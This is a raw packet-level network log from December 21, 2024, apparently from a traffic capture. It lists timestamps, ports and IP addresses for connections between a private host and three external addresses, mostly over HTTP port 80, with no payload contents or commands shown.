Dec 21, 2024 18:16:42.861624002 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.861881018 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:42.861890078 CET	443	49861	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:43.923752069 CET	80	49860	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:43.923917055 CET	49860	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:43.926537037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:43.926970005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:44.048923016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:44.049026012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:44.049041986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:44.049160004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:44.049279928 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:44.174781084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:44.244093895 CET	443	49861	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:44.244210005 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:44.250686884 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:44.250699997 CET	443	49861	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:44.251106024 CET	443	49861	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:44.251178980 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:44.251939058 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:44.299340010 CET	443	49861	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:44.803769112 CET	443	49861	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:44.803939104 CET	443	49861	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:44.804038048 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:44.830125093 CET	49861	443	192.168.2.4	149.154.167.220
Dec 21, 2024 18:16:44.830147982 CET	443	49861	149.154.167.220	192.168.2.4
Dec 21, 2024 18:16:45.380027056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380072117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380105019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.380135059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.380192995 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380230904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380255938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.380299091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380316019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.380347967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380369902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.380389929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.380424023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380466938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380481958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.380515099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380551100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.380573988 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.380609035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.500710011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.500734091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.500900984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.500900984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.504998922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.505192995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.572045088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.572068930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.572246075 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.572246075 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.576162100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.576221943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.576282024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.576431036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.584579945 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.584630013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.584656000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.584736109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.592832088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.592854977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.592938900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.592940092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.601145983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.601206064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.601346970 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.601346970 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.609808922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.609833002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.609891891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.609893084 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.618212938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.618236065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.618387938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.618387938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.626753092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.626776934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.626976013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.635270119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.635320902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.635422945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.635422945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.643574953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.643635035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.643645048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.643727064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.653031111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.653079033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.653244972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.653244972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.698322058 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.698371887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.698554993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.763814926 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.763866901 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.763974905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.764081001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.766526937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.766576052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.766771078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.766829014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.771891117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.771949053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.771962881 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.772010088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.776182890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.776223898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.776247978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.776326895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.780605078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.780662060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.780687094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.780745983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.785029888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.785168886 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.785412073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.789947987 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.789969921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.790255070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.790255070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.794806004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.794886112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.794883013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.795123100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.799422979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.799444914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.799500942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.799501896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.804217100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.804265976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.804408073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.804409027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.809030056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.809068918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.809122086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.809122086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.813519001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.813630104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.813724995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.813724995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.818209887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.818342924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.818402052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.818402052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.823090076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.823126078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.823199987 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.827761889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.827778101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.828011990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.832495928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.832519054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.832634926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.832634926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.837295055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.837315083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.837513924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.837513924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.841136932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.841155052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.841209888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.841209888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.844932079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.844954014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.845141888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.848788977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.848805904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.848975897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.848975897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.852638960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.852823973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.852826118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.852881908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.856472969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.856508970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.856530905 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.856570005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.860302925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.860338926 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.860357046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.860395908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.883558035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.883605957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.883635998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.883714914 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.955869913 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.955914974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.956156015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.957628012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.957889080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.958307981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.958439112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.958544016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.958544016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.962069035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.962131977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.962172031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.962342024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.965817928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.965914011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.965915918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.966202974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.968779087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.968849897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.968863964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.969017982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.971415043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.971471071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.971477032 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.971651077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.974143982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.974209070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.974221945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.974263906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.976685047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.976748943 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.976815939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.976872921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.979449034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.979633093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.979749918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.979805946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.981920958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.981990099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.982028961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.982096910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.984477997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.984544992 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.984744072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.984802961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.986958981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.987024069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.987040997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.987111092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.989573002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.989635944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.989712000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.989815950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.991914034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.991976023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.992043018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.992103100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.994343042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.994473934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.994488001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.994544029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.996829033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.996890068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.997095108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.997152090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.999267101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.999352932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:45.999392033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:45.999449015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.001775026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.001835108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.001856089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.001905918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.004187107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.004244089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.004283905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.004343033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.006711006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.006767988 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.006871939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.007035017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.009102106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.009162903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.009243011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.009304047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.010936975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.010996103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.011012077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.011069059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.012706041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.012764931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.012820959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.012876034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.014540911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.014602900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.014667034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.014729023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.016450882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.016587973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.016659021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.018059015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.018208027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.018337965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.019928932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.020054102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.020062923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.020157099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.021648884 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.021704912 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.021778107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.023391962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.023474932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.023514032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.023629904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.025163889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.025332928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.025356054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.025389910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.026962042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.027060032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.027122021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.028717995 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.028788090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.028840065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.028903961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.030783892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.030839920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.030894041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.030975103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.032322884 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.032390118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.032408953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.032461882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.034049988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.034120083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.034121037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.034178972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.035864115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.035937071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.035976887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.036916018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.037713051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.037767887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.037811041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.037859917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.039441109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.039499044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.039544106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.039594889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.041198969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.041316032 CET	80	49866	31.41.244.11	192.168.2.4
